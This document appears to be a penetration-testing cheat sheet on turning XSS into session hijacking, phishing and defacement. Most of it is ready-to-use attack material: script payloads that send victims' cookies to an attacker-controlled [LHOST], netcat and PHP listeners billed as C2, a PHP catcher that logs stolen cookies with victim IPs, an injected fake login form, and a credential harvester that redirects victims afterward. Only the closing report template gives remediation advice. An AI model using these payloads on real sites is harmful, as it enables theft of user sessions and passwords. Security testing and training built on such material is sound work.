π‘οΈ Methodology Checklist
- Confirm stored XSS in a parameter saved to DB (vs reflected)
- Session hijacking payload:
<script>document.location='http://[LHOST]/collect?c='+document.cookie</script> - Set up listener:
nc -lvp 80or Python HTTP server - Wait for victim to view page β receive cookie in request
- Import stolen cookie in browser β verify session takeover
- Phishing: redirect victim to credential-harvesting page via XSS
- Keylogger: inject
onkeypressevent listener to capture typed data
π― Operational Context
Use when: XSS confirmed β escalate from alert box PoC to session hijacking, credential harvesting, or keylogging.
Think Dumber First: Reflected XSS = one-shot cookie steal. Stored XSS = persistent attack against all users who load the page. For cookie steal: <script>document.location='http://[LHOST]/?c='+document.cookie</script> β simplest reliable payload.
Skip when: Cookies have HttpOnly flag β canβt steal via JS; pivot to CSRF or UI redressing instead.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
mkdir /tmp/tmpserver && cd /tmp/tmpserver && sudo php -S 0.0.0.0:80 | Start C2 PHP server to catch callbacks |
sudo nc -lvnp 80 | Quick fallback β credentials appear in first HTTP GET line |
sudo lsof -i :80 | Find conflicting process if port 80 already in use |
<script src="http://[LHOST]/fullname"></script> | Blind XSS probe β field name in URL reveals which field fired |
<script src="http://[LHOST]/script.js"></script> | Load hosted exploit JS β final payload for blind XSS |
new Image().src='http://[LHOST]/index.php?c='+document.cookie; | Cookie exfil via invisible image (in script.js) |
document.write('...<form action="http://[LHOST]">...</form>');document.getElementById('urlform').remove(); | Phishing form injection + original form cleanup |
http://[TARGET_IP]/phishing/index.php?url='><script>...[PAYLOAD]...</script> | Reflected XSS delivery β URL-encode < > if using backend submit |
<script>document.body.style.background = "#141d2b"</script> | Defacement β change background color |
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1>PWNED</h1></center>'</script> | Defacement β replace full body content |
π¬ Deep Dive & Workflow
Blind XSS β Session Hijacking Flow
Used when injecting into forms (support tickets, contact forms) you canβt see output of.
Step 1: Start C2 listener
mkdir /tmp/tmpserver && cd /tmp/tmpserver
sudo php -S 0.0.0.0:80Step 2: Probe all blind fields to find the injectable one
<script src="http://[LHOST]/fullname"></script>
<script src="http://[LHOST]/username"></script>
<script src="http://[LHOST]/email"></script>PHP server shows a GET hit β that field name is the injection point.
Step 3: Host script.js (cookie stealer)
new Image().src='http://[LHOST]/index.php?c=' + document.cookie;Step 4: Host index.php (cookie catcher)
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>Step 5: Fire final payload into identified vulnerable field
<script src="http://[LHOST]/script.js"></script>Step 6: Hijack session
- F12 β Storage/Application β Cookies
- Replace your session cookie with stolen value
- Navigate to restricted admin area
HttpOnly Protection
If document.cookie returns empty β cookie is HttpOnly (JS canβt read it).
Pivot from session hijacking to CSRF via XSS instead.
Phishing β Credential Harvesting
// Minified payload (inject into Reflected XSS GET param)
document.write('<h3>Please login to continue</h3><form action="http://[LHOST]"><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();Stealth PHP catcher (logs creds + redirects victim back to real site):
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://[TARGET_IP]/phishing/index.php");
fclose($file); exit();
}
?>Delivery URL (must URL-encode payload if sent via backend script):
http://[TARGET_IP]/phishing/index.php?url='><script>[PAYLOAD]</script>
Break out of tag context first: '><script> or "><script> depending on surrounding HTML.
Key Pitfalls
| Issue | Fix |
|---|---|
HttpOnly cookie β document.cookie empty | Pivot to CSRF via XSS |
| Admin bot slow | Bots run ~1-3 min cron jobs; wait before assuming failure |
Cookie path restricted to /login.php | Set path to / when injecting stolen cookie in browser |
| Backend submit script breaks payload | URL-encode < β %3C, > β %3E in the entire payload |
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Cookie theft fails | HttpOnly flag set | Use XSS for CSRF instead: inject form submit or fetch to perform action as victim |
| Payload blocked by CSP | Content-Security-Policy header | Check CSP: curl -I http://[TARGET] β look for Content-Security-Policy; find allowed sources to exploit |
| Stored XSS not firing | Content sanitized on output | Check if HTML-encoded on display: view source; WAF may sanitize display but not storage |
| Session cookie not usable | SameSite=Strict or Lax | Session can still be used if attacker is same-site; or use CSRF for action instead of impersonation |
| XSS requires interaction | Reflected only | For stored XSS delivery: inject via profile, comment, username β anywhere input is stored and reflected to other users |
π Reporting Trigger
Finding Title: Stored XSS Enables Session Hijacking of All Users Impact: Persistent XSS payload executes in every victimβs browser that loads the affected page, enabling mass session token theft, credential harvesting via phishing overlays, and defacement β affecting all application users without requiring individual targeting. Root Cause: User-supplied HTML/JavaScript stored and reflected without output encoding. CSP not implemented to restrict script execution sources. Recommendation: HTML-encode all user-supplied output in the appropriate context (HTML, JS, URL, CSS). Implement a strict Content Security Policy. Enable HttpOnly and Secure flags on session cookies. Implement CSP nonces for inline scripts.